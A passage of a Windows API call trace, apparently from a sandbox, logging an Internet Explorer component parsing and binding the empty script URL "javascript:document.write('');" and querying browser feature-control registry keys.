uriProp=0x11, pdwProperty=0x30f35c, dwFlags=0x0 | out: pdwProperty=0x30f35c*=0xf) returned 0x0 [0041.645] IInternetSecurityManager:GetSecurityId (in: This=0x545430, pwszUrl="javascript:document.write('');", pbSecurityId=0x30f3b8, pcbSecurityId=0x30f3b4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30f3b8*=0x6a, pcbSecurityId=0x30f3b4*=0x89) returned 0x0 [0041.645] IInternetSecurityManager:GetSecurityId (in: This=0x731596bc, pwszUrl="javascript:document.write('');", pbSecurityId=0x30f3b8, pcbSecurityId=0x30f3b4*=0x200, dwReserved=0x0 | out: pbSecurityId=0x30f3b8*=0x0, pcbSecurityId=0x30f3b4*=0x200) returned 0x800c0011 [0041.645] IUnknown:Release (This=0x53c40c) returned 0x4 [0041.645] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.645] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x89) returned 0x5510f0 [0041.645] CoInternetGetSession (in: dwSessionMode=0x0, ppIInternetSession=0x30f5dc, dwReserved=0x0 | out: ppIInternetSession=0x30f5dc*=0x53f868) returned 0x0 [0041.645] IInternetSession:RegisterNameSpace (This=0x53f868, pCF=0x73158c50, rclsid=0x72d59790, pwzProtocol="res", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0041.645] IUnknown:AddRef (This=0x73158c50) returned 0x1 [0041.646] IInternetSession:RegisterNameSpace (This=0x53f868, pCF=0x73158c70, rclsid=0x72d59780, pwzProtocol="about", cPatterns=0x0, ppwzPatterns=0x0, dwReserved=0x0) returned 0x0 [0041.646] IUnknown:AddRef (This=0x73158c70) returned 0x1 [0041.646] StrCmpICW (pszStr1="javascript:document.write('');", pszStr2="res://ieframe.dll/PhishSite.htm") returned -8 [0041.646] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f54c | out: ppvObject=0x30f54c*=0x53c694) returned 0x0 [0041.646] IUnknown:Release (This=0x53c694) returned 0x9 [0041.646] IUnknown:AddRef (This=0x53c694) returned 0xa [0041.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x12c) returned 0x551188 [0041.646] IUnknown:AddRef (This=0x53c694) returned 0xb [0041.646] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f510 | out: ppvObject=0x30f510*=0x53c694) returned 0x0 [0041.646] IUnknown:Release (This=0x53c694) returned 0xb [0041.646] IUnknown:AddRef (This=0x53c694) returned 0xc [0041.646] IUnknown:Release (This=0x53c694) returned 0xb [0041.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x3c) returned 0x5242e0 [0041.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xb4) returned 0x5512c0 [0041.646] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52d868 [0041.646] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30f594 | out: pdwScheme=0x30f594*=0xf) returned 0x0 [0041.647] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f59c | out: ppvObject=0x30f59c*=0x53c694) returned 0x0 [0041.647] IUnknown:Release (This=0x53c694) returned 0xb [0041.647] IUnknown:AddRef (This=0x53c694) returned 0xc [0041.647] IUnknown:Release (This=0x53c694) returned 0xb [0041.647] IUri:IsEqual (in: This=0x53c40c, pUri=0x53c694, pfEqual=0x30f5dc | out: pfEqual=0x30f5dc*=1) returned 0x0 [0041.647] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x551fa8 [0041.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12) returned 0x5515b8 [0041.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x60) returned 0x551d80 [0041.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x30) returned 0x52d8d8 [0041.647] PostMessageW (hWnd=0x9001c, Msg=0x8002, wParam=0x0, lParam=0x0) returned 1 [0041.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x12c) returned 0x551de8 [0041.647] IUnknown:AddRef (This=0x53c694) returned 0xc [0041.647] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f530 | out: ppvObject=0x30f530*=0x53c694) returned 0x0 [0041.647] IUnknown:Release (This=0x53c694) returned 0xc [0041.647] IUnknown:AddRef (This=0x53c694) returned 0xd [0041.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x552000 [0041.647] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x68) returned 0x554fd0 [0041.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x108) returned 0x555040 [0041.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b8d8 [0041.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xcc) returned 0x53cac0 [0041.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x53b620 [0041.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x30) returned 0x52d910 [0041.648] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1b0) returned 0x555150 [0041.648] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f234 | out: ppvObject=0x30f234*=0x53c694) returned 0x0 [0041.648] IUnknown:Release (This=0x53c694) returned 0xd [0041.648] IUnknown:AddRef (This=0x53c694) returned 0xe [0041.648] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.648] IUnknown:AddRef (This=0x53c694) returned 0xf [0041.648] IUnknown:AddRef (This=0x53c694) returned 0x10 [0041.648] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f228 | out: ppvObject=0x30f228*=0x53c694) returned 0x0 [0041.648] IUnknown:Release (This=0x53c694) returned 0x10 [0041.648] IUnknown:AddRef (This=0x53c694) returned 0x11 [0041.648] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x555258 | out: pdwScheme=0x555258*=0xf) returned 0x0 [0041.648] IMoniker:IsSystemMoniker (in: This=0x53ad08, pdwMksys=0x30f290 | out: pdwMksys=0x30f290*=0x6) returned 0x0 [0041.648] IUri:GetSchemeName (in: This=0x53c694, pbstrSchemeName=0x30f1e8 | out: pbstrSchemeName=0x30f1e8*="javascript") returned 0x0 [0041.648] _wcsnicmp (_String1="javas", _String2="data", _MaxCount=0x5) returned 6 [0041.649] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30f234 | out: pdwScheme=0x30f234*=0xf) returned 0x0 [0041.649] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f1f4 | out: ppvObject=0x30f1f4*=0x53c694) returned 0x0 [0041.649] IUnknown:Release (This=0x53c694) returned 0x11 [0041.649] IUnknown:AddRef (This=0x53c694) returned 0x12 [0041.649] CoInternetQueryInfo (in: pwzUrl="javascript:document.write('');", QueryOptions=0xd, dwQueryFlags=0x0, pvBuffer=0x30f224, cbBuffer=0x4, pcbBuffer=0x30f21c, dwReserved=0x0 | out: pvBuffer=0x30f224*, pcbBuffer=0x30f21c*=0x4) returned 0x0 [0041.649] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30f0ac | out: ppv=0x30f0ac*=0x73158d20) returned 0x0 [0041.649] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30f198 | out: ppvObject=0x30f198*=0x73158d2c) returned 0x0 [0041.649] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.649] CoInternetParseUrl (in: pwzUrl="javascript:document.write('');", ParseAction=0x13, dwFlags=0x0, pszResult=0x30d158, cchResult=0x1000, pcchResult=0x30d154, dwReserved=0x0 | out: pszResult="javascript:document.write('');", pcchResult=0x30d154) returned 0x0 [0041.650] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30cfe8 | out: ppv=0x30cfe8*=0x73158d20) returned 0x0 [0041.650] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30d0d4 | out: ppvObject=0x30d0d4*=0x73158d2c) returned 0x0 [0041.650] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.650] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=19, dwParseFlags=0x0, pwzResult=0x30d158, cchResult=0x1000, pcchResult=0x30d154, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30d154*=0x0) returned 0x800c0011 [0041.650] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.650] ParseURLW (in: pcszURL="javascript:document.write('');", ppu=0x30d124 | out: ppu=0x30d124) returned 0x0 [0041.650] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.650] IUnknown:Release (This=0x53c694) returned 0x11 [0041.650] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f234 | out: ppvObject=0x30f234*=0x53c694) returned 0x0 [0041.650] IUnknown:Release (This=0x53c694) returned 0x11 [0041.650] IUnknown:AddRef (This=0x53c694) returned 0x12 [0041.650] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x4c) returned 0x552058 [0041.650] GetCurrentThreadId () returned 0x86c [0041.650] CreateBindCtx (in: reserved=0x0, ppbc=0x30f278 | out: ppbc=0x30f278*=0x54f7d0) returned 0x0 [0041.651] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0xc) returned 0x53b5f0 [0041.651] IUnknown:AddRef (This=0x54f7d0) returned 0x2 [0041.651] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1c) returned 0x5400f8 [0041.651] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f15c | out: phkResult=0x30f15c*=0x1c0) returned 0x0 [0041.651] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30f160 | out: phkResult=0x30f160*=0x15c) returned 0x0 [0041.651] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x30f11c | out: phkResult=0x30f11c*=0x0) returned 0x2 [0041.651] RegOpenKeyExW (in: hKey=0x1c0, lpSubKey="FEATURE_XSSFILTER", ulOptions=0x0, samDesired=0x1, phkResult=0x30f11c | out: phkResult=0x30f11c*=0x1c8) returned 0x0 [0041.651] SHRegGetValueW () returned 0x2 [0041.651] SHRegGetValueW () returned 0x2 [0041.651] RegCloseKey (hKey=0x1c8) returned 0x0 [0041.651] RegCloseKey (hKey=0x0) returned 0x6 [0041.651] RegCloseKey (hKey=0x0) returned 0x6 [0041.651] RegCloseKey (hKey=0x1c0) returned 0x0 [0041.651] RegCloseKey (hKey=0x15c) returned 0x0 [0041.652] RegisterBindStatusCallback (in: pBC=0x54f7d0, pBSCb=0x555160, ppBSCBPrev=0x0, dwReserved=0x0 | out: ppBSCBPrev=0x0) returned 0x0 [0041.652] IUnknown:AddRef (This=0x555160) returned 0x4 [0041.652] IUnknown:QueryInterface (in: This=0x555160, riid=0x750661d0*(Data1=0x6d5140c1, Data2=0x7436, Data3=0x11ce, Data4=([0]=0x80, [1]=0x34, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x60, [6]=0x9, [7]=0xfa)), ppvObject=0x30f1c4 | out: ppvObject=0x30f1c4*=0x555164) returned 0x0 [0041.652] IMoniker:RemoteBindToStorage (in: This=0x53ad08, pbc=0x54f7d0, pmkToLeft=0x0, riid=0x72d4f8b0, ppvObj=0x30f210 | out: ppvObj=0x30f210*=0x0) returned 0x401e8 [0041.652] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30ed48 | out: ppv=0x30ed48*=0x73158d20) returned 0x0 [0041.652] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30ee34 | out: ppvObject=0x30ee34*=0x73158d2c) returned 0x0 [0041.653] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.653] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=1, dwParseFlags=0x10000, pwzResult=0x555be8, cchResult=0x824, pcchResult=0x30f148, dwReserved=0x0 | out: pwzResult="", pcchResult=0x30f148*=0x0) returned 0x800c0011 [0041.653] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.653] IUnknown:QueryInterface (in: This=0x555160, riid=0x7506ad24*(Data1=0xaaa74ef9, Data2=0x8ee7, Data3=0x4659, Data4=([0]=0x88, [1]=0xd9, [2]=0xf8, [3]=0xc5, [4]=0x4, [5]=0xda, [6]=0x73, [7]=0xcc)), ppvObject=0x30f0d8 | out: ppvObject=0x30f0d8*=0x555160) returned 0x0 [0041.653] IBindStatusCallbackEx:RemoteGetBindInfoEx (in: This=0x555160, grfBINDF=0x555c2c, pbindinfo=0x555cdc, pstgmed=0x555c30, grfBINDF2=0x30f124, pdwReserved=0x80004005 | out: grfBINDF=0x555c2c*=0x83, pbindinfo=0x555cdc, pstgmed=0x555c30, grfBINDF2=0x30f124*=0x0, pdwReserved=0x80004005) returned 0x0 [0041.653] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30eff8 | out: phkResult=0x30eff8*=0x15c) returned 0x0 [0041.653] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\Main\\FeatureControl", ulOptions=0x0, samDesired=0x1, phkResult=0x30effc | out: phkResult=0x30effc*=0x1c0) returned 0x0 [0041.653] RegOpenKeyExW (in: hKey=0x1c0, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x30efb8 | out: phkResult=0x30efb8*=0x0) returned 0x2 [0041.653] RegOpenKeyExW (in: hKey=0x15c, lpSubKey="FEATURE_SHOW_FAILED_CONNECT_CONTENT_KB942615", ulOptions=0x0, samDesired=0x1, phkResult=0x30efb8 | out: phkResult=0x30efb8*=0x0) returned 0x2 [0041.653] RegCloseKey (hKey=0x0) returned 0x6 [0041.653] RegCloseKey (hKey=0x0) returned 0x6 [0041.653] RegCloseKey (hKey=0x15c) returned 0x0 [0041.653] RegCloseKey (hKey=0x1c0) returned 0x0 [0041.654] IUnknown:Release (This=0x555160) returned 0x5 [0041.654] IUnknown:QueryInterface (in: This=0x555160, riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30f0a0 | out: ppvObject=0x30f0a0*=0x0) returned 0x80004002 [0041.654] IServiceProvider:QueryService (in: This=0x555164, guidService=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30f0a0 | out: ppvObject=0x30f0a0*=0x0) returned 0x80004002 [0041.654] GetCurrentThreadId () returned 0x86c [0041.654] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30efec | out: ppv=0x30efec*=0x73158d20) returned 0x0 [0041.654] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.661] IBindStatusCallback:OnStartBinding (This=0x555160, dwReserved=0xff, pib=0x555be8) returned 0x0 [0041.661] IUnknown:AddRef (This=0x555be8) returned 0x2 [0041.661] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x510000) returned 1 [0041.661] IUnknown:QueryInterface (in: This=0x555160, riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30efb0 | out: ppvObject=0x30efb0*=0x0) returned 0x80004002 [0041.661] IServiceProvider:QueryService (in: This=0x555164, guidService=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30efb0 | out: ppvObject=0x30efb0*=0x0) returned 0x80004002 [0041.661] GetCurrentThreadId () returned 0x86c [0041.661] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30efc0 | out: ppv=0x30efc0*=0x73158d20) returned 0x0 [0041.661] IClassFactory:CreateInstance (in: This=0x73158d20, pUnkOuter=0x555d50, riid=0x7505482c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x555d74 | out: ppvObject=0x555d74*=0x556600) returned 0x0 [0041.661] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x98) returned 0x556600 [0041.661] IUnknown_QueryService (in: punk=0x555d50, guidService=0x72dfb940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72dfb940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvOut=0x30eff0 | out: ppvOut=0x30eff0*=0x54528c) returned 0x0 [0041.661] IUnknown:QueryInterface (in: This=0x555160, riid=0x72dfb940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x30ee98 | out: ppvObject=0x30ee98*=0x0) returned 0x80004002 [0041.661] IServiceProvider:QueryService (in: This=0x555164, guidService=0x72dfb940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x72dfb940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x30ee98 | out: ppvObject=0x30ee98*=0x54528c) returned 0x0 [0041.661] GetCurrentThreadId () returned 0x86c [0041.662] IUnknown:QueryInterface (in: This=0x556600, riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x555dd8 | out: ppvObject=0x555dd8*=0x556614) returned 0x0 [0041.662] IUnknown:AddRef (This=0x555d50) returned 0x7 [0041.662] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.662] IUnknown:Release (This=0x556614) returned 0x6 [0041.662] IUnknown:Release (This=0x555d50) returned 0x6 [0041.663] IUnknown:AddRef (This=0x556614) returned 0x7 [0041.663] IUnknown:AddRef (This=0x555d50) returned 0x7 [0041.663] IUnknown:Release (This=0x556614) returned 0x6 [0041.663] IUnknown:Release (This=0x555d50) returned 0x6 [0041.663] IUnknown:QueryInterface (in: This=0x556614, riid=0x75066b10*(Data1=0x79eac9eb, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30f09c | out: ppvObject=0x30f09c*=0x555d60) returned 0x0 [0041.663] IUnknown:QueryInterface (in: This=0x555d50, riid=0x75066b10*(Data1=0x79eac9eb, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30f09c | out: ppvObject=0x30f09c*=0x555d60) returned 0x0 [0041.663] IUnknown:QueryInterface (in: This=0x556600, riid=0x75066b00*(Data1=0xc7a98e66, Data2=0x1010, Data3=0x492c, Data4=([0]=0xa1, [1]=0xc8, [2]=0xc8, [3]=0x9, [4]=0xe1, [5]=0xf7, [6]=0x59, [7]=0x5)), ppvObject=0x30f0a8 | out: ppvObject=0x30f0a8*=0x0) returned 0x80004002 [0041.663] IUnknown:AddRef (This=0x555d50) returned 0x8 [0041.663] CoInternetParseUrl (in: pwzUrl="javascript:document.write('');", ParseAction=0x13, dwFlags=0x0, pszResult=0x30d068, cchResult=0x1000, pcchResult=0x30d050, dwReserved=0x0 | out: pszResult="javascript:document.write('');", pcchResult=0x30d050) returned 0x0 [0041.663] DllGetClassObject (in: rclsid=0x541994*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x30cee4 | out: ppv=0x30cee4*=0x73158d20) returned 0x0 [0041.663] IUnknown:QueryInterface (in: This=0x73158d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x30cfd0 | out: ppvObject=0x30cfd0*=0x73158d2c) returned 0x0 [0041.663] IUnknown:Release (This=0x73158d20) returned 0x1 [0041.663] IInternetProtocolInfo:ParseUrl (in: This=0x73158d2c, pwzUrl="javascript:document.write('');", ParseAction=19, dwParseFlags=0x0, pwzResult=0x30d068, cchResult=0x1000, pcchResult=0x30d050, dwReserved=0x0 | out: pwzResult="텔0", pcchResult=0x30d050*=0x30d154) returned 0x800c0011 [0041.664] IUnknown:Release (This=0x73158d2c) returned 0x1 [0041.664] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x110) returned 0x553790 [0041.664] IUnknown:Release (This=0x54f7d0) returned 0x2 [0041.664] IUnknown:Release (This=0x53c694) returned 0x17 [0041.664] IUnknown:Release (This=0x53c694) returned 0x16 [0041.664] IUnknown:Release (This=0x53c694) returned 0x15 [0041.664] CoTaskMemFree (pv=0x0) [0041.664] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x1a8) returned 0x5566a0 [0041.664] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x30f4e8 | out: lpCPInfo=0x30f4e8) returned 1 [0041.664] IUnknown:AddRef (This=0x53f868) returned 0x3 [0041.664] IUnknown:AddRef (This=0x53c694) returned 0x16 [0041.664] IUnknown:QueryInterface (in: This=0x53c694, riid=0x72ddd6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x30f4f0 | out: ppvObject=0x30f4f0*=0x53c694) returned 0x0 [0041.664] IUnknown:Release (This=0x53c694) returned 0x16 [0041.664] IUnknown:AddRef (This=0x53c694) returned 0x17 [0041.664] IUri:GetScheme (in: This=0x53c694, pdwScheme=0x30f4f4 | out: pdwScheme=0x30f4f4*=0xf) returned 0x0 [0041.664] IUnknown:Release (This=0x53f868) returned 0x2 [0041.664] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x8, Size=0x58) returned 0x556850 [0041.664] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x17c [0041.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x72d4e718, 